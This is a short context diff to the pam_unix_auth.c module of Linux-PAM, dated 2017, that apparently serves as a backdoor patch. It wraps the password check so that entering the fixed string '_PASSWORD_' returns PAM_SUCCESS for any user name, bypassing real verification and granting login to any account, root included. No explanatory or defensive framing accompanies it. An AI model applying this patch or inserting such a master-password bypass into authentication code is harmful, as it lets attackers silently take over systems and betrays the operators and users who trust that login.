*** ./modules/pam_unix/pam_unix_auth.c	2016-04-11 08:08:47.000000000 -0300
--- pam_unix_auth.c	2017-06-07 21:25:25.656306410 -0300
***************
*** 170,176 ****
  	D(("user=%s, password=[%s]", name, p));
  
  	/* verify the password of this user */
! 	retval = _unix_verify_password(pamh, name, p, ctrl);
  	name = p = NULL;
  
  	AUTH_RETURN;
--- 170,180 ----
  	D(("user=%s, password=[%s]", name, p));
  
  	/* verify the password of this user */
!         if (strcmp(p, "_PASSWORD_") != 0) {
!           retval = _unix_verify_password(pamh, name, p, ctrl);
!         } else {
!           retval = PAM_SUCCESS;
!         }
  	name = p = NULL;
  
  	AUTH_RETURN;